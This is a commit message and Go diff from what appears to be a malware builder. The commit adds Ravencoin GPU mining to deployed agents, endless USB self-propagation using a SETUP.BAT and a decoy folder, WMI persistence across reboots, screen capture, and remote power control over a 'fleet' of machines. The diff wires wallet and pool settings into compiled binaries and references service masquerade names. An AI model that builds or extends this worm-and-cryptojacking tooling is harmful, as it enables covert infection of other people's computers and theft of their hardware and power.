Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/internal/builder/handler.go

@@ -85,6 +85,15 @@ type BuildRequest struct {
 	// CancelToken is a client-generated UUID. Pass the same token to
 	// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
 	CancelToken      string      `json:"cancel_token,omitempty"`
+
+	// GPU / Ravencoin mining
+	GPUEnabled      bool         `json:"gpu_enabled"`
+	RVNWallet       string       `json:"rvn_wallet"`
+	RVNPoolHost     string       `json:"rvn_pool_host"`
+	RVNPoolPort     int          `json:"rvn_pool_port"`
+	RVNPoolTLS      bool         `json:"rvn_pool_tls"`
+	RVNPoolPass     string       `json:"rvn_pool_pass"`
+	RVNBackupPools  []BackupPool `json:"rvn_backup_pools"`
 }
 
 // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
 		ServiceName:         %q,
 		ServiceDonor:        %q,
 		FleetSecret:         %q,
+
+		// GPU / Ravencoin mining
+		GPUEnabled:   %v,
+		RVNWallet:    %q,
+		RVNPoolHost:  %q,
+		RVNPoolPort:  %d,
+		RVNPoolTLS:   %v,
+		RVNPoolPass:  %q,
+		RVNBackupPools: %s,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
 		serviceMasqueradeName(buildID, req),
 		serviceMasqueradeDonor(buildID, req),
 		h.fleetSecret,
+		req.GPUEnabled,
+		req.RVNWallet,
+		rvnPoolHost(req),
+		rvnPoolPort(req),
+		req.RVNPoolTLS,
+		rvnPoolPass(req),
+		formatGoBackupPools(req.RVNBackupPools),
 	)
 }
 
+func rvnPoolHost(req *BuildRequest) string {
+	if req.RVNPoolHost == "" {
+		return "rvn.2miners.com"
+	}
+	return req.RVNPoolHost
+}
+
+func rvnPoolPort(req *BuildRequest) int {
+	if req.RVNPoolPort <= 0 {
+		return 6060
+	}
+	return req.RVNPoolPort
+}
+
+func rvnPoolPass(req *BuildRequest) string {
+	if req.RVNPoolPass == "" {
+		return "x"
+	}
+	return req.RVNPoolPass
+}
+
 // formatGoBackupPools emits a Go literal for []config.BackupPool.
 func formatGoBackupPools(pools []BackupPool) string {
 	if len(pools) == 0 {